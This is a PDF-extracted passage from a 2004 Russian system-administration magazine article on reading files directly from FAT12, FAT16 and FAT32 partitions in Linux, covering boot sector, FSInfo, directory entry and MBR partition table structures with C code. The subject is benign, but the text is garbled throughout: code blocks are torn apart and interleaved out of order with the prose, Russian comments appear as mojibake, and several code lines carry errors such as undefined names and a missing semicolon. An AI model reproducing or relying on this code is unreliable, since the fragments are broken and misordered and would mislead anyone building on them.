Рассмотрим кратко поля, которые входят в каждуюиз этих структур.1. Структура загрузочного сектора struct fat_boot_sector:! __s8 system_id[8] – системный идентификатор;! __u8 sector_size[2] – размер сектора в байтах;! __u8 cluster_size – размер кластера в секторах;! __u16 reserved – число резервных секторов в резерв-

ной области раздела;! __u8 fats – количество копий FAT;! __u8 dir_entries[2] – количество 32-байтных дескрип-

торов файлов в корневом каталоге;! __u8 sectors[2] – число секторов на разделе; если это

поле равно 0, используется поле total_sect;! __u8 media – тип носителя, на котором создана фай-

ловая система;! __u16 fat_length – размер FAT в секторах;! __u32 total_sect – размер раздела FAT в секторах (если

поле sectors == 0).

Следующие поля данной структуры используютсятолько FAT32:! __u32 fat32_length – размер FAT32 в секторах;! __u32 root_cluster – номер первого кластера корнево-

го каталога;! __u16 info_sector – номер сектора, содержащего струк-

туру FSInfo.

2. Структура сектора FSInfo struct fat_boot_fsinfo:! __u32 signature1 – сигнатура 0x41615252;! __u32 signature2 – сигнатура 0x61417272;! __u32 free_clusters – количество свободных кластеров.

Если поле содержит -1, поиск свободных кластеровнужно начинать с кластера номер 2.

3. Структура элемента каталога короткого имени structmsdos_dir_entry:

! __s8 name[8],ext[3] – имя и расширение файла;! __u8 attr – атрибуты файла;! __u8 ctime_ms – это поле уточняет время создания

файла до мс (используется только FAT32);

Òàáëèöà 6. Ñòðóêòóðà ñåêòîðà FSInfo è ðåçåðâíîãî çàãðóçî÷-íîãî ñåêòîðà FAT32

#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <errno.h>#include <linux/msdos_fs.h>#include "split.h"

#include <linux/types.h>// ìàêñèìàëüíàÿ äëèíà êîðîòêîãî èìåíè ôàéëà#define SHORT_NAME 13struct split_name {

__u8 name[9]; // èìÿ ôàéëà__u8 ext[4]; // ðàñøèðåíèå ôàéëàint name_len, // äëèíà èìåíè ôàéëàext_len; // äëèíà ðàñøèðåíèÿ ôàéëà

};

Page 48: 015 Системный Администратор 02 2004

46

администрирование

! __u16 ctime – время создания файла (используетсятолько FAT32);

! __u16 cdate – дата создания файла (используется толь-ко FAT32);

! __u16 adate – дата последнего доступа к файлу (ис-пользуется только FAT32);

! __u16 starthi – старшие 16 бит номера первого класте-ра файла (используется только FAT32);

! __u16 time,date,start – время и дата создания файла,номер первого кластер файла;

! __u32 size – размер файла (в байтах).

4. Структура элемента каталога длинного имени:! __u8 id – номер элемента;! __u8 name0_4[10] – символы 1 – 5 имени;! __u8 attr – атрибуты файла;! __u8 alias_checksum – контрольная сумма короткого

имени;! __u8 name5_10[12] – символы 6 – 11 имени;! __u8 name11_12[4] – символы 12 – 13 имени.

Продолжим рассмотрение программной реализацииалгоритма и определим имя раздела, на котором созданафайловая система FAT16:

Глобальные структуры:

Глобальные переменные:

Начнём рассмотрение с главной функции:

Задаем полное имя файла, содержимое которого мыхотим прочитать. Напомню, что мы работаем только с ко-роткими именами файлов. Порядок работы с длиннымиименами в данной статье не рассматривается.

Открываем файл устройства:

Считываем первые 10 кластеров файла. Считываниевыполняет функция fat16_read_file(). Параметры функции– полное имя файла и число кластеров для чтения. Функ-ция возвращает число прочитанных кластеров или -1, еслипри чтении произошла ошибка:

Закрываем файл устройства и выходим:

Функция чтения кластеров файла имеет следующий вид:

Параметры функции мы перечислили при рассмотре-нии функции main.

Подготовительные операции – обнуляем буферtmp_name_buff и структуру struct split_name sn:

Первым символом в абсолютном путевом имени фай-ла должен быть прямой слэш (/). Проверяем это:

Считываем с раздела загрузочный сектор:

Считанный загрузочный сектор находится сейчас в гло-бальной структуре struct fat_boot_sector fbs. Скопируем изэтой структуры размер сектора, число записей в корневомкаталоге и общее число секторов на разделе:

Определим размер кластера в байтах:

Отобразим информацию, находящуюся в загрузочномсекторе:

#ifndef FAT16_PART_NAME#define FAT16_PART_NAME "/dev/hda1"#endif

struct fat_boot_sector fbs; // ñòðóêòóðà çàãðóçî÷íîãî ñåêòîðàstruct msdos_dir_entry dentry; // ñòðóêòóðà ýëåìåíòà êàòàëîãà

__u16 *fat16; // ñþäà êîïèðóåì òàáëèöó FAT16__u16 sector_size; // ðàçìåð ñåêòîðà (èç FAT16)__u16 dir_entries; // ÷èñëî 32-áàéòíûõ äåñêðèïòîðîâ

// â root-êàòàëîãå (0 äëÿ FAT32)__u16 sectors; // îáùåå ÷èñëî ñåêòîðîâ â ðàçäåëå__u32 fat16_size; // ðàçìåð FAT16__u32 root_size; // ðàçìåð êîðíåâîãî êàòàëîãà__u32 data_start; // íà÷àëî îáëàñòè äàííûõ__u16 byte_per_cluster; // ðàçìåð êëàñòåðà â áàéòàõ__u16 next_cluster; // î÷åðåäíîé êëàñòåð â öåïî÷êå__u8 *dir_entry = NULL; // óêàçàòåëü íà çàïèñè êàòàëîãàint hard; // äåñêðèïòîð ôàéëà óñòðîéñòâàint fat;

int main(){

int num;

__u8 *full_path = "/Folder1/Folder2/text.txt";

hard = open(FAT16_PART_NAME, O_RDONLY);

num = fat16_read_file(full_path, 10);if(num < 0) perror("fat16_read_file");else printf("Read %d clusters\n", num);

close(hard);return 0;

}

int fat16_read_file(__u8 *full_path, int num){

// ñòðóêòóðà äëÿ õðàíåíèÿ ñîñòàâíûõ ÷àñòåé ôàéëàstruct split_name sn;// áóôåð äëÿ âðåìåííîãî õðàíåíèÿ ñîñòàâíûõ ýëåìåíòîâ// ïîëíîãî ïóòè ôàéëà__u8 tmp_name_buff[SHORT_NAME];static int i = 1;int n;__u8 *tmp_buff;__u16 start_cluster, next_cluster;

memset(tmp_name_buff, 0, SHORT_NAME);memset((void *)&sn, 0, sizeof(struct split_name));

if(full_path[0] != '/') return -1;

if(read_fbs() < 0) return -1;

memcpy((void *)&sector_size, (void *)fbs.sector_size, 2);memcpy((void *)&dir_entries, (void *)fbs.dir_entries, 2);memcpy((void *)&sectors, (void *)fbs.sectors, 2);

byte_per_cluster = fbs.cluster_size * 512;

if(hard < 0) {perror(FAT16_PART_NAME);exit(-1);

}

Page 49: 015 Системный Администратор 02 2004

47№2(15), февраль 2004

администрирование

Вычисляем размер FAT16 в байтах и считываем её:

Считываем корневой каталог:

Сейчас указатель dir_entry позиционирован на областьпамяти, содержащую записи корневого каталога. Размерэтой области памяти равен размеру корневого каталога(root_size).

Сохраним (для контроля) содержимое корневого ката-лога в отдельном файле:

Вычисляем начало области данных:

Имея все записи корневого каталога, мы можем доб-раться до содержимого файла test.txt. С этой целью орга-низуем цикл. В теле цикла проведем разбор полного име-ни файла, выделяя его элементы – подкаталоги (их у насдва, Folder1 и Folder2) и имя искомого файла (test.txt).

Заполняем структуру struct split_name sn соответствую-щей информацией. Заполнение выполняет функцияsplit_name, при этом выполняется проверка имени файлана соответствие формату «8.3»:

Для каждого элемента полного имени файла опреде-ляем начальный кластер. Для этого ищем в элементах ка-

талога (начиная с корневого) запись, соответствующуюэлементу полного имени, и считываем эту запись. Проце-дуру поиска выполняет функция get_dentry():

Проверяем атрибуты файла. Если это каталог, считы-ваем его содержимое и продолжаем цикл:

Если это файл – считываем первые num кластеров.Для контроля считанную информацию сохраним в отдель-ном файле:

Для считывания кластеров файла организуем цикл:

Считываем содержимое кластера в буфер tmp_buff исохраняем его в отдельном файле:

Считываем из FAT16 номер следующего кластера, за-нятого под данный файл. Если это последний кластер –прерываем цикл и возвращаемся в главную функцию:

printf("System id - %s\n", fbs.system_id);printf("Sector size - %d\n", sector_size);printf("Cluster size - %d\n", fbs.cluster_size);printf("Reserved - %d\n", fbs.reserved);printf("FATs number - %d\n",fbs.fats);printf("Dir entries - %d\n", dir_entries);printf("Sectors - %d\n", sectors);printf("Media - 0x%X\n", fbs.media);printf("FAT16 length - %u\n", fbs.fat_length);printf("Total sect - %u\n", fbs.total_sect);printf("Byte per cluster - %d\n", byte_per_cluster);

fat16_size = fbs.fat_length * 512;if(read_fat16() < 0) return -1;

if(read_root_dentry() < 0) return -1;

#ifdef DEBUGfat = open("dir16", O_CREAT|O_WRONLY, 0600);write(fat, dir_entry, root_size);close(fat);

#endif

data_start = 512 * fbs.reserved + fat16_size * fbs.fats + ↵↵↵↵↵root_size;

while(1) {memset(tmp_name_buff, 0, SHORT_NAME);memset((void *)&sn, 0, sizeof(struct split_name));for(n = 0 ; n < SHORT_NAME; n++, i++) {

tmp_name_buff[n] = full_path[i];if((tmp_name_buff[n] == '/') || (tmp_name_buff[n] == ↵↵↵↵↵

'\0')) {i++;break;

}}tmp_name_buff[n] = '\0';

if(split_name(tmp_name_buff, &sn) < 0) {printf("not valid name\n");return -1;

}

if(get_dentry(&sn) < 0) {printf("No such file!\n");return -1;

}

if(dentry.attr & 0x10) {if(read_directory(dentry.start) < 0) return -1;continue;

}

if(dentry.attr & 0x20) {start_cluster = dentry.start;// ñþäà áóäåò ñ÷èòûâàòüñÿ ñîäåðæèìîå êëàñòåðàtmp_buff = (__u8 *)malloc(byte_per_cluster);// â ýòîì ôàéëå ñîõðàíèì ñ÷èòàííóþ èíôîðìàöèþn = open("clust", O_CREAT|O_RDWR, 0600);if(n < 0) {

perror("open");return -1;

}printf("file`s first cluster - 0x%X .. ", start_cluster);

for(i = 0; i < num; i++) {memset(tmp_buff, 0, byte_per_cluster);

if(read_cluster(start_cluster, tmp_buff) < 0) ↵↵↵↵↵return -1;

if(write(n, tmp_buff, ↵↵↵↵↵byte_per_cluster) < 0) {perror("write");close(n);return -1;

}

next_cluster = fat16[start_cluster];#ifdef DEBUG

printf("OK. Readed\n");printf("file`s next cluster - 0x%X .. ", next_cluster);

#endifif(next_cluster == EOF_FAT16) {

#ifdef DEBUGprintf("last cluster.\n");

#endiffree(tmp_buff);close(n);return ++i;

}

Page 50: 015 Системный Администратор 02 2004

48

администрирование

Чтение загрузочного сектора FAT16 выполняет функцияread_fbs(). Результат помещается в глобальную структуру fbs:

Чтение таблицы размещения файлов файловой сис-темы FAT16 выполняет функция read_fat16():

Чтение корневого каталога выполняет функцияread_root_dentry():

Чтение кластера, принадлежащего файлу, выполняетфункция read_cluster(). Входные параметры функции – но-мер кластера cluster_num и указатель на буфер __u8*tmp_buff, куда нужно поместить результат чтения. Смеще-ние к кластеру на разделе вычисляется по формуле (см. [1]):

Функция read_directory выполняет чтение записей ката-лога (не корневого) и помещает результат в область памя-ти, на которую настроен указатель dir_entry:

Выделяем память для хранения содержимого каталога,считываем содержимое стартового кластера и получаемиз таблицы FAT16 значение очередного кластера:

Сохраним содержимое каталога в отдельном файле (дляконтроля):

Если достигнут последний кластер, выходим из цикла,иначе продолжаем чтение каталога, увеличив размер бу-фера dir_entry ещё на один кластер:

Поиск в содержимом каталога элемента, соответству-ющего искомому файлу, выполняет функция get_dentry().Входные параметры этой функции – указатель на структу-ру struct split_name *sn, содержащую элементы короткогоимени файла:

В глобальном буфере dir_entry находится массив эле-ментов каталога, в котором мы собираемся искать записьфайла (или каталога). Для поиска организуем цикл. В телецикла производим копирование элементов каталога в гло-бальную структуру dentry и сравниваем значение полейname и ext этой структуры с соответствующими полямиструктуры struct split_name *sn. Совпадение этих полей оз-начает, что мы нашли в массиве элементов каталога за-пись искомого файла:

start_cluster = next_cluster;}

#ifdef DEBUGprintf("stop reading\n");

#endifreturn i;

}}

}

int read_fbs(){

if(read(hard,(__u8 *)&fbs, sizeof(fbs)) < 0) return -1;return 0;

}

int read_fat16(){

// ñìåùåíèå ê FAT16 îò íà÷àëà ðàçäåëà__u64 seek = (__u64)(fbs.reserved) * 512;fat16 = (void *)malloc(fat16_size);if(pread64(hard, (__u8 *)fat16, fat16_size, ↵↵↵↵↵seek) < 0) return -1;

return 0;}

int read_root_dentry(){

// ñìåùåíèå ê êîðíåâîìó êàòàëîãó îò íà÷àëà ðàçäåëà__u64 seek = (__u64)fbs.reserved * 512 + fat16_size * fbs.fats;// âû÷èñëÿåì ðàçìåð êîðíåâîãî êàòàëîãàroot_size = 32 * dir_entries;dir_entry = (__u8 *)malloc(root_size);if(!dir_entry) return -1;memset(dir_entry, 0, root_size);if(pread64(hard, dir_entry, root_size, seek) < 0) return -1;return 0;

}

SEEK = DATA_START + (CLUSTER_NUM - 2) * BYTE_PER_CLUSTER,ãäå

SEEK � ñìåùåíèå ê êëàñòåðó íà ðàçäåëå;DATA_START � íà÷àëî îáëàñòè äàííûõ;CLUSTER_NUM � ïîðÿäêîâûé íîìåð êëàñòåðà;BYTE_PER_CLUSTER � ðàçìåð êëàñòåðà â áàéòàõ.

int read_cluster(__u16 cluster_num, __u8 *tmp_buff){

// âû÷èñëÿåì ñìåùåíèå ê êëàñòåðó__u64 seek = (__u64)(byte_per_cluster) * ↵↵↵↵↵

(cluster_num - 2) + data_start;if(pread64(hard, tmp_buff, byte_per_cluster, ↵↵↵↵↵

seek) < 0) return -1;return 0;

}

int read_directory(__u16 start_cluster){

int i = 1;__u16 next_cluster;for(; ;i++) {

dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster);if(!dir_entry) return -1;if(read_cluster(start_cluster, (dir_entry + (i - 1) * ↵↵↵↵↵

byte_per_cluster)) < 0) return -1;next_cluster = fat16[start_cluster];

#ifdef DEBUGprintf("Next cluster - 0x%X\n", next_cluster);fat = open("dir16", O_CREAT|O_WRONLY, 0600);write(fat, dir_entry, root_size);close(fat);

#endif

if(next_cluster & EOF_FAT16) break;start_cluster = next_cluster;

}return 0;

}

int get_dentry(struct split_name *sn){

int i = 0;

for(; ; i++) {memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), ↵↵↵↵↵

sizeof(dentry));if(!(memcmp(dentry.name, sn->name, sn->name_len)) && ↵↵↵↵↵

!(memcmp(dentry.ext, sn->ext, n->ext_len)))break;

if(!dentry.name[0]) return -1;}

#ifdef DEBUGprintf("name - %s\n", dentry.name);printf("start cluster - 0x%X\n", dentry.start);

Page 51: 015 Системный Администратор 02 2004

49№2(15), февраль 2004

администрирование

Весь вышеприведенный код находится в каталогеFAT16, файл fat16.c. Для получения исполняемого модулясоздадим Makefile следующего содержания:

Программная реализация алгоритмачтения файла с логического разделас файловой системой FAT12В целом алгоритм чтения файла с раздела FAT12 идентиченалгоритму чтения файла с раздела FAT16. Отличие заклю-чается в процедуре чтения элементов из таблицы FAT12.Таблица FAT16 рассматривалась нами как простой массив16-разрядных элементов. Для чтения элементов таблицыFAT12 в [1] предложен следующий алгоритм:! умножить номер элемента на 1.5;! извлечь из FAT 16-разрядное слово, используя в каче-

стве смещения результат предыдущей операции;! если номер элемента четный, выполнить операцию

AND над считанным словом и маской 0x0FFF. Еслиномер нечетный, сдвинуть считанное из таблицы сло-во на 4 бита в сторону младших разрядов.

Базируясь на этом алгоритме, реализуем функцию чте-ния элементов из таблицы FAT12:

Вычисляем смещение в таблице FAT12 и считываемиз таблицы 16-разрядное слово:

Если стартовый номер кластера – четное число, сдвига-ем считанное из таблицы значение на 4 бита в сторону млад-ших разрядов, если нечетное – суммируем его с 0x0FFF:

Этот фрагмент можно также реализовать на ассемб-лере:

Возвращаем результат:

Остановимся чуть подробнее на самом алгоритме.Предположим, что на разделе с FAT12 создан файл, ко-торый занимает 9-й и 10-й кластеры. Каждый элементFAT12 занимает 12 бит. Т.к. из таблицы мы считываем16-разрядные элементы, то смещение к 9-му элементубудет равно 13 байт (9 ∗ 1.5 = 13, остаток отбрасываем),при этом младшие 4 разряда будут принадлежать 8-муэлементу FAT. Их необходимо отбросить, а для этого до-статочно сдвинуть считанный элемент на 4 бита в сторо-ну младших разрядов, что и предусмотрено алгоритмом.Смещение к 10-му элементу будет равно 15 байт, и стар-шие 4 бита будут принадлежать 11-му элементу FAT. Что-бы их отбросить, необходимо выполнить операцию ANDнад 10-м элементом и маской 0x0FFF, что так же соот-ветствует вышеприведенному алгоритму.

Исходные тексты модуля чтения файла с раздела FAT12находятся в каталоге FAT12, файл fat12.c.

Программная реализация алгоритмачтения файла с логического разделас файловой системой FAT32Алгоритм чтения файла с раздела с файловой системойFAT32 практически не отличается от алгоритма для FAT16,за исключением того, что в FAT32 корневой каталог мо-жет располагаться в любом месте раздела и иметь произ-вольный размер. Поэтому, чтобы было интереснее, услож-ним задачу – предположим, что нам известен только но-мер раздела с файловой системой FAT32. Чтобы считатьс этого раздела информацию, необходимо вначале опре-делить его координаты – смещение к разделу от началадиска. А для этого надо иметь представление о логичес-кой структуре жесткого диска.

Логическая структура жесткого дискаРассмотрим логическую структуру жесткого диска, соответ-ствующую стандарту Microsoft – «основной раздел – расши-ренный раздел – разделы non-DOS».

Пространство на жестком диске может быть организо-вано в виде одного или нескольких разделов, а разделымогут содержать один или несколько логических дисков.

На жестком диске по физическому адресу 0-0-1 распо-лагается главная загрузочная запись (Master Boot Record,MBR). В структуре MBR находятся следующие элементы:! внесистемный загрузчик (non-system bootstrap – NSB);! таблица описания разделов диска (таблица разделов,

partition table, PT). Располагается в MBR по смещению0x1BE и занимает 64 байта;

! сигнатура MBR. Последние два байта MBR должны со-держать число 0xAA55.

INCDIR = /usr/src/linux/include.PHONY = cleanfat16: fat16.o split.o

gcc -I$(INCDIR) $^ -g -o $@%.o: %.c

gcc -I$(INCDIR) -DDEBUG -c $^clean:

rm -f *.orm -f ./fat16

int get_cluster(__u16 cluster_num){

__u16 seek;__u16 clust;

seek = (cluster_num * 3) / 2;memcpy((__u8 *)&clust, (__u8 *)(fat12 + seek), 2);

if(cluster_num % 2) clust >>= 4;else clust &= 0x0FFF;

asm(" xorw %%ax, %%ax \n\t"" btw $0, %%cx \n\t"

return clust;}

printf("file size - %u\n", dentry.size);printf("file attrib - 0x%X\n", dentry.attr);

#endifreturn 0;

}

" jnc 1f \n\t"" shrw $4, %%dx \n\t"" jmp 2f \n\t""1: andw $0x0FFF, %%dx \n\t""2: movw %%dx, %%ax \n\t":"=a" (next):"d" (clust), "c" (cluster_num));

Page 52: 015 Системный Администратор 02 2004

50

администрирование

Таблица разделов описывает размещение и характери-стики имеющихся на винчестере разделов. Разделы дискамогут быть двух типов – primary (первичный, основной) иextended (расширенный). Максимальное число primary-раз-делов равно четырем. Наличие на диске хотя бы одногоprimary-раздела является обязательным. Extended-разделможет быть разделен на большое количество подразделов –логических дисков. Упрощенно структура MBR представ-лена в таблице 7. Таблица разделов располагается в концеMBR, для описания раздела в таблице отводится 16 байт.

Структура записи элемента таблицы разделов пока-зана в таблице 8.

Первым байтом в элементе раздела идет флаг актив-ности раздела (0 – неактивен, 0x80 – активен). Он служитдля определения, является ли раздел системным загрузоч-ным и есть ли необходимость производить загрузку опера-ционной системы с него при старте компьютера. Активнымможет быть только один раздел. За флагом активности раз-дела следуют координаты начала раздела – три байта, оз-начающие номер головки, номер сектора и номер цилинд-ра. Номера цилиндра и сектора задаются в формате пре-рывания Int 0x13, т.е. биты 0-5 содержат номер сектора,биты 6-7 – старшие два бита 10-разрядного номера цилин-дра, биты 8-15 – младшие восемь бит номера цилиндра.Затем следует кодовый идентификатор System ID, указы-вающий на принадлежность данного раздела к той или инойоперационной системе. Идентификатор занимает одинбайт. За системным идентификатором расположены коор-динаты конца раздела – три байта, содержащие номераголовки, сектора и цилиндра соответственно. Следующиечетыре байта – это число секторов перед разделом, и пос-ледние четыре байта – размер раздела в секторах.

Таким образом, элемент таблицы раздела можно опи-сать при помощи следующей структуры:

Элемент первичного раздела указывает сразу на заг-рузочный сектор логического диска (в первичном разделевсегда имеется только один логический диск), а элементрасширенного раздела – на список логических дисков, со-ставленный из структур, которые именуются вторичнымиMBR (Secondary MBR, SMBR).

Свой блок SMBR имеется у каждого диска расширен-ного раздела. SMBR имеет структуру, аналогичную MBR,но загрузочная запись у него отсутствует (заполнена нуля-ми), а из четырех полей описателей разделов используют-ся только два. Первый элемент раздела при этом указыва-ет на логический диск, второй элемент указывает на сле-дующую структуру SMBR в списке. Последний SMBR спис-ка содержит во втором элементе нулевой код раздела.

Вернемся к рассмотрению модуля чтения файла с раз-дела FAT32.

Заголовочные файлы:

Сигнатура MBR:

Файл устройства, с которого будет считываться инфор-мация о разделах:

Размер элемента таблицы разделов (16 байт):

Следующий массив структур устанавливает соответ-ствие между кодом типа раздела и его символьным ото-бражением:

Òàáëèöà 7. Ñòðóêòóðà MBR

Òàáëèöà 8. Ñòðóêòóðà çàïèñè ýëåìåíòà òàáëèöû ðàçäåëîâ

struct pt_struct {// ôëàã àêòèâíîñòè ðàçäåëàu8 bootable;

#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <errno.h>#include <linux/msdos_fs.h>

#define SIGNATURE 0xAA55

#define DEVICE "/dev/hda"

#define PT_SIZE 0x10

struct systypes {__u8 part_type;__u8 *part_name;

};struct systypes i386_sys_types[] = {

{0x00, "Empty"},{0x01, "FAT12"},{0x04, "FAT16 <32M"},{0x05, "Extended"},{0x06, "FAT16"},{0x0b, "Win95 FAT32"},{0x0c, "Win95 FAT32 (LBA)"},{0x0e, "Win95 FAT16 (LBA)"},{0x0f, "Win95 Ext'd (LBA)"},{0x82, "Linux swap"},{0x83, "Linux"},

// êîîðäèíàòû íà÷àëà ðàçäåëàu8 start_part[3];// ñèñòåìíûé èäåíòèôèêàòîðu8 type_part;// êîîðäèíàòû êîíöà ðàçäåëàu8 end_part[3];// ÷èñëî ñåêòîðîâ ïåðåä ðàçäåëîìu32 sect_before;// ðàçìåð ðàçäåëà â ñåêòîðàõ (÷èñëî ñåêòîðîâ// â ðàçäåëå)u32 sect_total;

};

Page 53: 015 Системный Администратор 02 2004

51№2(15), февраль 2004

администрирование

Определим число элементов в массиве i386_sys_typesпри помощи макроса PART_NUM:

Установим ограничение на количество логических дисков:

Следующий массив структуры будет содержать инфор-мацию о логических дисках на устройстве (жестком диске):

Номер раздела, на котором создана файловая системаFAT32:

Структуры загрузочного сектора, сектора FSInfo и эле-мента каталога (определены в файле <linux/msdos>):

Главная функция:

Открываем устройство, получаем информацию о таб-лице разделов на устройстве и отображаем информациюо разделах:

Вычисляем стартовое смещение к разделу:

Считываем кластеры, принадлежащие файлу:

Информацию о таблице разделов считывает функцияget_pt_info():

Считываем таблицу разделов из MBR и проверяем сиг-натуру:

Ищем идентификатор расширенного раздела. Еслитаковой имеется, вычисляем смещение к расширенномуразделу и считываем информацию о логических дисках:

Функция чтения таблицы разделов read_main_ptable():

Функция проверки сигнатуры check_sign():

#define PART_NUM (sizeof(i386_sys_types) / sizeof(i386_sys_types[0]))

#define MAX_PART 20

struct pt_struct {__u8 bootable;__u8 start_part[3];__u8 type_part;__u8 end_part[3];__u32 sect_before;__u32 sect_total;

} pt_t[MAX_PART];int hard; // äåñêðèïòîð ôàéëà óñòðîéñòâà__u8 mbr[512]; // ñþäà ñ÷èòàåì MBR

#define FAT32_PART_NUM 5

struct fat_boot_sector fbs;struct fat_boot_fsinfo fsinfo;struct msdos_dir_entry dentry;__u32 *fat32 = NULL; // ñþäà êîïèðóåì òàáëèöó FAT32__u16 sector_size; // ðàçìåð ñåêòîðà (èç FAT32)__u16 dir_entries; // 0 äëÿ FAT32__u16 sectors; // ÷èñëî ñåêòîðîâ íà ðàçäåëå__u32 fat32_size; // ðàçìåð FAT32__u32 data_start; // íà÷àëî îáëàñòè äàííûõ__u16 byte_per_cluster; // ñêîëüêî áàéò â êëàñòåðå

// (ðàçìåð êëàñòåðà â áàéòàõ)__u32 next_cluster; // î÷åðåäíîé êëàñòåð â öåïî÷êå__u32 root_cluster; // ROOT cluster � íà÷àëüíûé êëàñòåð

// êîðíåâîãî êàòàëîãà__u8 *dir_entry = NULL; // óêàçàòåëü íà çàïèñè êàòàëîãà__u64 start_seek = 0; // ñòàðòîâîå ñìåùåíèå ê ðàçäåëó

// (â áàéòàõ)

int main(){

int num = 0;// ñêîëüêî êëàñòåðîâ ñ÷èòûâàòü èç ôàéëàint cluster_num = 5;// ôàéë äëÿ ñ÷èòûâàíèÿ__u8 *full_path = "/Folder1/Folder2/readme";

hard = open(DEV_NAME, O_RDONLY);if(hard < 0) {

perror(DEV_NAME);exit(-1);

}

start_seek = (__u64)(pt_t[FAT32_PART_NUM - ↵↵↵↵↵1].sect_before) * 512;

num = fat32_read_file(full_path, cluster_num);if(num < 0) perror("fat32_read_file");else printf("Read %d clusters\n", num);close(hard);return 0;

}

int get_pt_info(int hard){

int i = 0;__u64 seek;

read_main_ptable(hard);if(check_sign() < 0) {

printf("Not valid signature!\n");return -1;

}

for(; i < 4; i++) {if((pt_t[i].type_part == 0xF) || ↵↵↵↵↵

(pt_t[i].type_part == 0x5) || ↵↵↵↵↵(pt_t[i].type_part == 0x0C)) {

seek = (__u64)pt_t[i].sect_before * 512;read_ext_ptable(hard, seek);break;

}}return 0;

}

{0x85, "Linux extended"},{0x07, "HPFS/NTFS"}

};if(get_pt_info(hard) < 0) {

perror("get_pt_info");exit(-1);

}show_pt_info();

void read_main_ptable(int hard){

if(read(hard, mbr, 512) < 0) {perror("read");close(hard);exit(-1);

}memset((void *)pt_t, 0, (PT_SIZE * 4));memcpy((void *)pt_t, mbr + 0x1BE, (PT_SIZE * 4));return;

}

int check_sign(){

__u16 sign = 0;memcpy((void *)&sign, (void *)(mbr + 0x1FE), 2);

Page 54: 015 Системный Администратор 02 2004

52

администрирование

Функция чтения расширенной таблицы разделов:

Входные данные:! hard – дескриптор файла устройства;! seek – смещение к расширенному разделу от начала дис-

ка (в байтах).

Для получения информации о логических дисках орга-низуем цикл:

Считываем SMBR, находящуюся по смещению seek отначала диска:

Заполняем два элемента таблицы pt_t, начиная с по-зиции num. Первый элемент будет указывать на логичес-кий диск, а второй – на следующую структуру SMBR:

Вносим поправку в поле «Номер начального сектора» –отсчет ведется от начала диска:

Если код типа раздела равен нулю, то больше логи-ческих дисков нет:

Вычисляем смещение к следующему SMBR:

Функция show_pt_info() отображает информацию о най-денных логических дисках на устройстве:

Чтение кластеров файла с раздела FAT32 выполняетфункция fat32_read_file(). Эта функция имеет много обще-го с функцией fat16_read_file(), поэтому за подробными ком-ментариями обратитесь к п. 6:

Подготовительные операции – чистим буфер, структу-ру и проверяем первый слэш:

Считываем загрузочный сектор:

Считываем структуру FSInfo и отобразим сигнатуру, на-ходящуюся в ней:

Считываем FAT32:

Выделяем память для записей каталога:

Считываем корневой каталог:

void read_ext_ptable(int hard, __u64 seek){

// íà÷èíàÿ ñ ýòîé ïîçèöèè, ìàññèâ ñòðóêòóð pt_t áóäåò// çàïîëíÿòüñÿ èíôîðìàöèåé î ëîãè÷åñêèõ äèñêàõint num = 4;__u8 smbr[512];

for(;;num++) {

memset((void *)smbr, 0, 512);pread64(hard, smbr, 512, seek);

memset((void *)&pt_t[num], 0, PT_SIZE * 2);memcpy((void *)&pt_t[num], smbr + 0x1BE, PT_SIZE * 2);

pt_t[num].sect_before += (seek / 512);

if(!(pt_t[num + 1].type_part)) break;

void show_pt_info(){

int i = 0, n;#ifdef DEBUG

printf("×èñëî ðàçäåëîâ íà äèñêå - %d\n", PART_NUM);#endif

for(; i < MAX_PART; i++) {

int fat32_read_file(__u8 *full_path, int num){

struct split_name sn;__u8 tmp_name_buff[SHORT_NAME];int i = 1, n;__u32 start_cluster, next_cluster;__u8 *tmp_buff;

memset(tmp_name_buff, 0, SHORT_NAME);memset((void *)&sn, 0, sizeof(struct split_name));if(full_path[0] != '/') return -1

if(read_fbs() < 0) return -1;memcpy((void *)&sector_size, (void *)fbs.sector_size, 2);memcpy((void *)&dir_entries, (void *)fbs.dir_entries, 2);memcpy((void *)&sectors, (void *)fbs.sectors, 2);

if(read_fs_info() < 0) return -1;printf("Signature1 - 0x%X\n", fsinfo.signature1);printf("Signature2 - 0x%X\n", fsinfo.signature2);// ðàçìåð FAT32 â áàéòàõfat32_size = fbs.fat32_length * 512;// íà÷àëî ïîëÿ äàííûõdata_start = 512 * fbs.reserved + fat32_size * 2;// ðàçìåð êëàñòåðà â áàéòàõbyte_per_cluster = fbs.cluster_size * 512;// íîìåð êëàñòåðà êîðíåâîãî êàòàëîãàroot_cluster = fbs.root_cluster;

if(read_fat32() < 0) return -1;

dir_entry = (__u8 *)malloc(byte_per_cluster);if(!dir_entry) return -1;

seek = ((__u64)(pt_t[num].sect_before + ↵↵↵↵↵pt_t[num].sect_total)) * 512;

}return;

}

#ifdef DEBUGprintf("Signature - 0x%X\n", sign);

#endifif(sign != SIGNATURE) return -1;return 0;

}

if(!pt_t[i].type_part) break;printf("\nÒèï ðàçäåëà %d - ", i);

for(n = 0; n < PART_NUM; n++) {if(pt_t[i].type_part == i386_sys_types[n].part_type) {

printf("%s\n", i386_sys_types[n].part_name);break;

}}if(n == PART_NUM) printf("unknown type\n");printf("Ïðèçíàê çàãðóçêè - 0x%X\n", pt_t[i].bootable);printf("Ñåêòîðîâ â ðàçäåëå %d - %d\n", i, ↵↵↵↵↵

pt_t[i].sect_total);printf("Ñåêòîðîâ ïåðåä ðàçäåëîì %d - %d\n\n", i, ↵↵↵↵↵

pt_t[i].sect_before);}return;

}

Page 55: 015 Системный Администратор 02 2004

53№2(15), февраль 2004

администрирование

Проводим разбор полного пути файла и разделениекаждого элемента на составляющие:

Для получения стартового номера кластера в файловойсистеме FAT32 необходимо задействовать старшее слово но-мера первого кластера файла – поле starthi структуры dentry:

Проверяем байт атрибутов:

Назначение следующих трёх функций – получить содер-жимое системной области, т.е. загрузочного сектора, струк-туры FSInfo и таблицы FAT32:1) функция read_fbs() выполняет чтение загрузочного сек-

тора:

2) функция read_fs_info() считывает структуру FSInfo:

3) функция read_fat32() считывает таблицу FAT32:

Функция read_cluster() выполняет чтения кластера суказанным номером:

Чтением каталогов (в том числе и корневого) занима-ется функция read_directory():

Параметры функции – стартовый кластер каталога.Считываем содержимое каталога в глобальный буферdir_entry:

Если каталог занимает один кластер – выходим, еслинет – увеличиваем размер памяти и продолжаем чтение:

Последняя функция, которую мы рассмотрим, ищет в

if(read_directory(root_cluster) < 0) return -1;

